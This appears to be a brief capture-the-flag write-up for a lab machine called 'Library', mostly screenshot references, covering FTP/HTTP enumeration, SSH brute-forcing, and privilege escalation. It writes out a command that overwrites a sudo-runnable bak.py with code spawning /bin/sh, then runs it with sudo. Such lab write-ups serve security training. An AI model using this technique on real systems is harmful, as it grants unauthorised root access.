Post

Library

Library

Library

πŸ” Reconnaissance & Enumeration

πŸ•΅οΈ Let’s check the FTP and HTTP paths: Pasted image 20260602145424.png Pasted image 20260602152032.png

πŸ’» I think we can try brute-forcing SSH. Now we need to find a username: Pasted image 20260602152107.png And we found one: Pasted image 20260602152116.png Pasted image 20260602152702.png Pasted image 20260602152756.png

πŸ•΅οΈ User Access & Exploitation

πŸ’‘ First, delete the existing bak.py file. Then, create a new one:

1
echo 'import os; os.execl("/bin/sh", "sh")' > bak.py

⚑ Privilege Escalation

πŸ“Œ Run it the same way: Pasted image 20260602155500.png

1
sudo /usr/bin/python3 /home/meliodas/bak.py

Pasted image 20260602155605.png

This post is licensed under CC BY 4.0 by the author.